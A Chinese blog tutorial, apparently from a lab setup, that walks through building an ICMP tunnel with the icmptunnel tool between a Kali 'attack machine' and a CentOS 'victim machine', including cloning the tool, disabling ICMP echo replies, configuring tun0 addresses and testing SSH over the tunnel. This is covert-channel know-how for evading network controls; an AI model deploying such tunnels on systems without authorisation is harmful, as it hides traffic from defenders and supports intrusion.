icmp端口_icmptunnel搭建icmp隧道——超详细步骤

本文介绍了如何在kali攻击机和centos受害机之间建立icmp隧道,通过禁用icmp回显,使用icmptunnel进行隐蔽通信。首先在两台机器上安装并禁用icmp回显,然后在攻击机上运行icmptunnel并配置tun0接口,接着在受害机上同样运行icmptunnel并设置相应的tun0接口。最后,通过ssh命令在攻击机上测试连接目标机,成功建立了icmp隧道。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

环境搭建:

       攻击机kali:192.168.159.129

       受害机centos:192.168.159.10

首先我们在攻击机和受害机都需要安装下icmptunnel,并把系统的icmp回显禁用掉,命令如下。    

git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel-master
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

然后我们攻击机运行icmptunnel,简单跟一个s参数即可。运行后会提示打开了一个隧道tun0,我们这时需要再重新开一个命令行,给tun0设置一下ip和子网掩码(使用tun0点对点和目标机通信)。

需要先make进行编译才可执行./icmptunnel -s的命令 

         

ifconfig tun0 10.0.0.1 netmask 255.255.255.0

       

攻击机设置好后,我们去受害机用icmptunnel跟服务端ip,并把tun0设置一下就可以了。

命令如下:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all(上面已经禁ICMP了,此处不用再执行此命令)

./icmptunnel 192.168.159.129(使用make编译后执行此命令)

ifconfig tun0 10.0.0.2 netmask 255.255.255.0(此处使用这条命令配置完后,即可看到tun0的网卡)

这时就和目标机建立了一条icmp隧道,这里在攻击机测试,使用shh命令连接目标机。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值